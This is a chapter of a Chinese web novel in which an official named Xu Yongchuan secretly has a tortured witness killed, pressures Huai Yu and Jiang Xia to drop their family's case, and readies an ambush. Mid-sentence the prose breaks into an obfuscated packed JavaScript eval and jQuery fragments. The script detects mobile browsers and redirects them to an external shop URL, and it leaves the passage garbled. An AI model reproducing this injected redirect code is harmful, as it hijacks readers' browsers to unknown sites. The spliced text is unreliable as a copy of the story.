23. 第 23 章

作品:《踩碎他(女尊)

    许拥川一愣,“啊,是啊……”


    一句话,倒是提醒了她今日来此原本的目的。


    许拥川站在原地,等淮瑜终于横过汹涌的人潮走近身前,她率先说:“周庆招了。”


    “招了!?”淮瑜欣喜不已。


    “你很高兴。”许拥川看进淮瑜的眼底,“因为姜夏断腿之仇得报?”


    “我当然高兴。”却不单只为姜夏。是为姜伯母和伯父、为姜家、为他的家人沉冤得雪!


    淮瑜的话音落,许拥川嘴角勾起一抹笑。


    周庆死了。


    在被从赌场被她和万茵抓的那刻,她就不可能活了。


    屈打之下,她供出了樊右卿的下落,便让她死了个痛快。而昨晚,许拥川和万茵连夜在破庙里也逮到了樊右卿。


    所以现在只剩搞定姜夏了。


    “不是,我是说周庆她招出了樊右卿的下落。樊右卿不在这赌场里,应该是你上次在开封府前闹得太大,被她察觉,先一步离开了佑都逃到了很远的地方,万茵已经带人出城去找了。”


    许拥川自然地牵起淮瑜的手,从赌场门前离开,“所以今日你我不用再进这臭哄哄的赌场了,你我今日得去一趟药铺,周庆还说了一些别的话,事关重大,我需要和姜夏商量之后才好定夺,这个案子恐怕没有继续的必要了。”


    知道内情的周庆和樊右卿死了,接下来只要姜夏再不执着这个案子,这事,便算真正翻篇了。


    “不继续了?”淮瑜清秀的脸上出现着急:“姜伯母的案子是冤案,姜氏药铺的冤情还没有被诉清,为什么就要说案子没必要继续了?周庆她说了什么可以告诉我吗?”


    许拥川眉目冷静,握紧了淮瑜的手,低声安抚道:“先别急,等到药铺我一并说与你们两人知道,你们自己来做决定。”


    两人一同到了药铺。


    药铺还是那个破旧颓废、不像是能有客人进门的样子。


    “小夏……小夏?”淮瑜先一步进门,里里外外地四处寻找着姜夏。


    许拥川跟在他后面,也低声慢悠悠地重复唤,“姜小弟?小弟?”地也帮着淮瑜找人,却淮瑜一背身,她脸上的笑意就浮了出来。


    “看来不在呢?”许拥川把淮瑜拉到大堂的一个角落想抵住,却不想手才刚撑住的墙忽而一空,一道不显眼的门被她撑开,两人差点摔倒地跌了进去。


    许拥川还是被淮瑜在黑暗之中捞住了腰才稳住的身形。


    白日,外边天光大亮,这里儿却伸手不见五指,难道……暗室?


    想到这个可能,她主动伸手想将这暗室的情况摸清,却才抬手,咚地一声,手背就打到了木制的墙。


    “许……老大?你等等……”淮瑜的声音在近处响起,听起来有些局促。


    许拥川没做声,朝有他在的方向摸,立即就落入了一个温暖、有着清香药味儿的怀抱,可猝不及防的,越过了淮瑜身体摸索着的手,手指尖硬生生又打到了另一堵砖墙上,疼得许拥川直咂舌。


    “这他爹的什么鬼地方?”


    都窄成棺材板了。


    忽而,豆点大的火光在淮瑜的手前亮起,微弱的光亮足以将这巴掌的地儿全都照亮。


    这……竟是个房间。


    “我睡的房间。”淮瑜有些不敢看许拥川眼里那样茫然又震惊的神色,转身假装忙碌却只是将油灯放在了长凳上。


    长凳挨着墙放的,在这个房间里的作用许拥川没猜错的话应该是桌子。


    “是个隔间,木板的另一面就是放药材的库房了,”淮瑜道:“当时考上上书府,在佑都落不下脚,姜伯母连夜专门为我隔出来的。”


    “你……”许拥川欲言又止。


    她匆匆走了出去,到木板的另一变去看。


    发现这药铺是两个房间的构成的,前面朝街的就是大堂,后边就是存放药材的库房。


    库房里也挤得很,放药的架子满满当当,确实给淮瑜余出来的地儿是极限了,觉得好笑的话到了嘴边又咽了下去。


    许拥川愣了愣,又走回就摆了张床,一条长凳,长凳上叠着几套换洗的衣服,床底木盆里装着一些梳洗用具,然后站两个人都挤得转不开身,比他当初那个破土屋还要夸张的恐怖房间,她还是忍不住道:“这就是你‘家人’给你住的冬冷夏热的好地儿?”


    她发现,淮瑜这个人总能挑战她的认知底线。


    顿了顿,她又问道:“那她们自己住哪?我瞧瞧呢。”


    “我们住在偏远一些的老宅,”姜夏的声音突然出现在药铺大堂门口,“瑜哥是男子,与我们一家人同住,于他不好,且老宅离上书府远,不比这方便。”


    姜夏对外装成男子,淮瑜一未出嫁男子自然要避嫌些。


    姜夏一只手费力地转动并不灵活轮子,进来店铺,“大人特地前来,是案子有进展了?”


    许拥川就走了过去要说正事,却淮瑜的身影比她先一步抵达姜夏的跟前,拉住了姜夏的手:“小夏你手怎么了?”


    视线看过去,她这才发现姜夏的手指上有半干的血迹。


    “无事,方才在外面切晒着的药材,割到了手……”


    许拥川说:“那点儿血,没事。”


    淮瑜仿佛没听见,忙转身去柜台后面搬出来个大箱子,从里面翻出纱布,就蹲在了姜夏身边开始为他包扎起来。


    许拥川无声注视着淮瑜认真给姜夏包扎的模样。好容易等到他细细包扎完,却见淮瑜仰着头又在问姜夏这几日换下的衣服在哪,说自己今日瑜医馆请了半日的假刚好有时间给他洗衣。姜夏说没有,他便要姜夏将身上的衣服给换下给他洗。


    两人你推我拒地好容易聊完,许拥川已经觉得没意思的自己找了个看起来年岁比她小不多的凳子坐了下来。


    淮瑜从她身侧经过,主动说要给姜夏做饭,已经开始去店前搭的那个简陋的灶去做吃的去了。


    完全被无视的许拥川坐不住地腾地一下站起,举步就要走。


    淮瑜在外面风风火火地手忙脚乱地做菜,姜夏愣愣地看着突然仿佛要暴走的她。


    见并没有吸引到想吸引人的注意,许拥川转身又在另一个凳子上坐下,想起来正事,痛快地就将来意说了出来:“在问到诱导姜夏认罪一事时,周庆抵死不认,逼急了,她甚至会说不是小子就是老子卖的,总之咬死那幻叶分明就是姜氏药铺里流出的,当年是官府没查仔细,敢卖幻叶之人,不可能收心的单只卖一片。”


    姜夏的脸更是一瞬间煞白,手指节紧握咯咯作响:“她……竟还要污蔑我母亲……”


    门外淮瑜低着头,手上的动作变得缓慢。


    许拥川观察着他们的反应,继续道:“周庆当时神情笃定,面对刑法的威吓毫无惧色,甚至反而以动用私刑之责威胁起我来。而且这事只要她抵死不认,你们又无其她证据,也是拿她没有办法的。我查过她,此人上无老下无小,指不定真能做出什么鱼死网破的事来,但……”


    许拥川的话停了一停,淮瑜把那口比他腰粗的锅从火上拿开,人走了进来,怔怔地听她继续讲。


    “她提出可以和解,以另外的方式弥补姜氏。她说,物是人非,那时幻叶之罪不如今日这般沉重,一片叶子,几十的杖刑原本是打不死人也伤不了腿的,后来的一切却没想到不可控成如今模样。她与樊右卿愿意把毕生所有积蓄拿出来。”


    许拥川给出了一个很合理的价格:“五千两白银。这些,够做一切了,治腿也好,振兴药铺也可以,娶夫生子也行,哦……”


    许拥川视线扫姜夏一眼,改说:“你,恢复男儿身,给自己备份厚足的嫁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332048|197731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    妆,往上攀个高枝嫁了也比缩在这儿强。况且你们这还瞒了性别的上个假户籍,是为了什么?为了继承药铺家业所以从小男扮女装?要是被对方抓住这点做文章,你们将毫无胜算——”


    “嘭!”地一声,轮椅扶手被拍响,打断了许拥川的话。


    姜夏声音沉寒:“那许大人,这是在为如此无耻之人当说客,也想要将此等冤案大事化小,小事化无,让蒙冤的人永无翻身之日?”


    许拥川猜,姜夏这是一气之下想要站起,却无能无力,徒将扶手拍响。


    且什么叫翻身?


    穷鬼翻身还是被人踩住的穷鬼。


    拿着钱,去买官,去买人,去生钱,去壮大家族,成为人上人,把仇人踩在脚下了,那才叫翻身。


    她转头望向淮瑜,淮瑜低着头,手指紧紧相绞着,闷不作声。


    许拥川想了想,还准备再劝。


    “五千两白银……”淮瑜声音响起。


    许拥川眼皮一跳,只听他继续道:“周庆此人曾在街角酒摊因赖账被追,在赌场输得就地拿碗讨吃的,有一分钱要花五分的人……五千两银钱……”


    许拥川说:“她和樊右卿一起付这个钱。”


    淮瑜抬头看向她,眼尾有些红:“老大……这也不对。樊右卿又是个什么人,五千两银钱或许对于你来说不多,可对我们,对她们两人也是,这是个难以想象的数……”


    声音顿了片刻,淮瑜走近许拥川,望着她:“我们要的不是这样的结果……这事是不是比我与姜夏一直以来以为的还要复杂?”


    许拥川沉默了好一会儿,视线在淮瑜和姜夏之间流转,微眯了下眼,最后点头,“是!我也在想,这事从一开始,背后肯定有人在指使。或许是当年你们店铺的对家,又或许……是你们得罪了哪个不该得罪的人。你们要不仔细想想,你们是不是做错过什么事惹佑都之中谁不高兴了?”


    “既然如此,为什么不将她们背后的人都揪出来?”姜夏情绪激动:“你怕了?”


    “能轻易拿出这个数量银钱,且能在衙门里弄权之人很恐怖的,”许拥川说:“既然能轻易拿出这个价,便也能很轻松地做出你们可能想象不到的事儿。”


    姜夏:“可你不是太尉之女吗?”


    “我只是个判官,我上面还有少尹、府尹。”


    “我是说你母亲,她不是——”


    “行。”许拥川觉得没必要继续这个话题了,站了起来:“我懂你想法了,我也只是将话传达,给你选择,既然你已决意,那我也不浪费这个时间了。”


    许拥川走出了药铺,往后扫了一眼,确定没人跟来。


    再一抬眸远眺,对面黑巷子里,万茵站在暗处正等得不耐烦,见她出来了,歪头用眼神问她商议得如何。


    许拥川摇头。


    万茵露出“果然”的神色,朝她摊手,随后转头向身后示意。隐在她背后的所有人便如一阵风,刮向姜氏药铺,在四周埋伏了起来,只等天黑,许拥川一声令下。


    心情不好,许拥川还想向万茵传达完事一起去吃酒,万茵却忽而退后地避进了暗处。


    许拥川一转头,淮瑜跟了出来。


    “有事儿?”许拥川的语气比之昨日,甚至比之进这药铺之前,显然冷漠生疏了许多。


    “吃饭。”


    淮瑜道。


    许拥川摆摆手转身就走。


    淮瑜低着声音,紧紧跟在她身后地念,“她们都说,我做的菜,挺好吃的……”


    许拥川没理他,一边走一边侧头看向对面,不见万茵的踪影了,她皱了皱眉。


    淮瑜:“嗯,尝尝。”


    话音一落,背后的衣服被扯住。


    许拥川反应过来,转身不可思议道:“你还能替我做决定了?!我不饿!”